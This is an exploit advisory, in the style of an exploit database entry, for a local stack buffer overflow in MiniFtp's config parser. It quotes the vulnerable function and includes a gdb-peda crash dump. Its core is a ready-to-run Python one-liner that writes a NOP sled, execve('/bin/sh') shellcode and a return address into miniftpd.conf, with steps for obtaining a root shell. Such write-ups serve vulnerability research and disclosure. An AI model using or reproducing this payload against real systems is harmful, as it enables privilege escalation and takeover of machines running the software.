MiniFtp parseconf_load_setting Buffer Overflow

2019.05.09
Credit: strider
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

# Exploit Title: MiniFtp parseconf_load_setting local-bufferoverflow (318 bytes) # Google Dork: None # Date: 11.04.2019 # Exploit Author: strider # Vendor Homepage: https://github.com/skyqinsc/MiniFtp # Software Link: https://github.com/skyqinsc/MiniFtp # Tested on: Debian 9 Stretch i386/ Kali Linux i386 # CVE : None # Shellcode Length: 318 ------------------------------[Description]--------------------------------- This exploit spawns a shell with root privileges. The exploit will be written into the file miniftpd.conf vuln code: void parseconf_load_setting(const char *setting){ while(isspace(*setting)) setting++; char key[128] = {0}, value[128] = {0}; str_split(setting, key, value, '='); if(strlen(value) == 0){ fprintf(stderr, "missing value in config file for : %s\n", key); exit(EXIT_FAILURE); } .... The given var settings is a *char and will be splitted into key and value key and value are both 128 char long and settings can be longer than 128 + 128 chars. this issue will not be checked and stored. This causes a buffer overflow. after return it -----------------------------[Gdb-Peda Dump]--------------------------------- [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x48575250e7894851 RCX: 0xffffffd480050f3b RDX: 0x90 RSI: 0x7fffffffd3a0 --> 0x9090909090909090 RDI: 0x55555555c854 ("download_max_rate") RBP: 0x50f3bc08348e689 RSP: 0x7fffffffd460 --> 0x555555556860 (<_start>: xor ebp,ebp) RIP: 0x7fffffffd481 --> 0x9090909090909090 R8 : 0xa ('\n') R9 : 0x7fffffffd4a0 --> 0x9090909090909090 R10: 0x83a R11: 0x7ffff7891520 (<__strcmp_sse2_unaligned>: mov eax,edi) R12: 0x555555556860 (<_start>: xor ebp,ebp) R13: 0x7fffffffe200 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7fffffffd478: imul esi,DWORD PTR [rax+0x3d],0x90909090 0x7fffffffd47f: nop 0x7fffffffd480: nop => 0x7fffffffd481: nop 0x7fffffffd482: nop 0x7fffffffd483: nop 0x7fffffffd484: nop 0x7fffffffd485: nop [------------------------------------stack-------------------------------------] 0000| 0x7fffffffd460 --> 0x555555556860 (<_start>: xor ebp,ebp) 0008| 0x7fffffffd468 --> 0x55555555b5b2 ("miniftpd.conf") 0016| 0x7fffffffd470 ("max_per_ip=", '\220' <repeats 189 times>...) 0024| 0x7fffffffd478 --> 0x90909090903d7069 0032| 0x7fffffffd480 --> 0x9090909090909090 0040| 0x7fffffffd488 --> 0x9090909090909090 0048| 0x7fffffffd490 --> 0x9090909090909090 0056| 0x7fffffffd498 --> 0x9090909090909090 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00007fffffffd481 in ?? () gdb-peda$ -----------------------------[Exploit]--------------------------------------------- python -c "print 'max_per_ip=' + '\x90' * 278 + '\x48\x31\xc0\x48\x31\xd2\x50\x49\xb9\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x41\x51\x48\x89\xe7\x50\x52\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05' + '\x80\xd4\xff\xff\xff\x7f'" > miniftpd.conf -----------------------------[how to run]----------------------------- run the line above in a shell run MiniFtp in gdb and you got a shell


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